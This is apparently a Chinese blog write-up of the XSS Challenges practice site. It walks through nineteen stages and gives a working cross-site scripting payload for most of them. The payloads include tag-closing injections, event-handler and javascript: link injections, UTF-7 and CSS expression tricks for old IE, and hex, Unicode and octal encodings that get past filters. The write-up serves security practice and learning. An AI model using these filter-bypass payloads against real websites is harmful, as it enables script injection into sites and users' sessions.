web安全之 xss漏洞 xss challenges

it2023-08-20  67

http://xss-quiz.int21h.jp/可用于练习xss漏洞

第一题

直接注入

第二题

查看代码:

制造闭合语句

第三题

直接输入时无变化 使用burp后查看具有两个参数的传递 通过更改两个参数参数的注入 达到目的 p2为主要的参数 试用其判断 两个参数必须有值 开始只改变p1的值没有变化。。。发现p2是主要参数 后来改变p2参数 又忘记改p1了。

第四题

与第三题相似 不过多了个参数p3 尝试使用第三关的方法 不行

看见了这个可与前面第二题相似 尝试 构造闭合

"><script>alert(document.domain);</script>

就成功了

第五题

打开控制台 感觉可以构造闭合 尝试一下 但长度太短 更改一下 页面输入:"><script>alert(document.domain)</script> 然后成功了

第六题

与第五关相似,先使用第五关构造的payload查看第六关的不同 法相 左右尖括号被过滤了

本想有没有转义什么之类的 逃脱 看了下提示 使用事件属性处理 就可以避免左右尖括号了 构造payload: “ οnclick=”alert(document.domain)” 成功了

第七题

使用第六关方法查看不同

直接连到一起了 尝试构造闭合

还是不行 看见使用第六题的场景 少使用一个括号可以使其闭合 开始填了括号 没注意多了个双引号 Payload:” οnclick=alert(document.domain)

好像这里的onclick事件 左双引号被自动补齐了 试了几次 应该是有了空格之后 自动把第一个双引号括在一起 后面事件的左双引号 因为是事件 再自动补齐了 过滤双引号

第八题

按照惯例 输入测试

尝试构造了闭合都不行 抓包查看

被转码了 尝试该参数不行 换方法

在a标签中 构造javascript协议 点击触发

js伪协议 href属性 标签的 href 属性用于指定超链接目标的 URL,href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。 语法: 作用: javascript:是表示在触发默认动作时,执行一段JavaScript代码,而 javascript:; 表示什么都不执行,这样点击时就没有任何反应。 弹出域名 payload:javascript:alert(“document.domain”);

第九题

输入参数测试

发现存在一个参数 且页面没有过多展示 于是抓包

与第三题详细 构造 看看有什么不同

发现依然不行 看到charset是认不到的 百度发现是日文编码 改为utf 再试一次 还是有问题 上网查:这一关需要使用 IE浏览器 将payload构造为 UTF-7编码 网上说 ie7 或 ie8 - - 本地测试都没有复现 Payload:+/v8 +ACI- οnmοuseοver=alert(d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in)+AD4-

使用ie 还是不行 放弃了

粗暴点

第十题

随意参数输入查看 不管怎么写 每次的domain都被过滤了 于是构造payload:

"> <img src=x onerror=alert(document.domain)>

第十一题

现在好像进不去了 http://xss-quiz.int21h.jp/stage11th.php?sid=756e90d9a168c24e2abbc43d1f4409ce6ff70de3 这里主要是针对关键字,进行了混淆 这里我们使用特殊字符进行绕过:

<a href="javascr&#09ipt:alert(document.domain);">hack404</a>">

第十二题

左右括号 双引号 都被过滤

解:要使用 ie浏览器 使用双命令解释符号`` 替换为一个双引号不会注释 Payload:

``<img src=x onerror=alert(document.domain)>

我的是ie版本是10 不行 粗暴点 直接输入到下一题

第十三题

测试

好像还是不行

还是需要ie8 在CSS样式中利用expression实现javascript中的onmouseover或onmouseout事件; Payload:xss:expression(alert(document.domain));

第十四题

测试

将script变为了xxx 还是要ie8 过滤了url/script/eval/expression,可以插入注释符绕过: xss:expr\0ession(alert(document.domain)); xss:expr/**/ession(alert(document.domain));

css expression(css表达式):又称为dynamic properties(动态属性)是早期html的产物,可以在css中定义表达式来达到建立元素间的联系的作用,从IE5开始得到支持,后因标准 性能 安全等问题,微软从IE8 beta2标准模式开始,取消了css expression的支持。

第十五题

输入测试后发现<>做了转义 于是尝试使用事件 发现也不行 我们不直接提交 < > \ \ 这些字符将这些字符转换为其他进制进行转换

16进制编码 \x3cscript\x3ealert(document.domain);\x3c/script\x3e Unicode编码 \u003cscript\u003ealert(document.domain);\u003c/script\u003e

第十六题

\、< >被过滤了, 绕过: Unicode编码 \u003cimg src=x οnerrοr=alert(document.domain)\u003e 八进制 \74img src=x οnerrοr=alert(document.domain)\76

第十七题:

需要ie 利用特殊字节吃掉双引号 抓包 p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

第十八题

需要ie payload:%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE

第十九题:

可以直接将其a标签 利用伪协议进行构造函数通关 payloaad:javascript:alert(document.domain);

注:

可以使用IEtest模拟ie环境联系。

最新回复(0)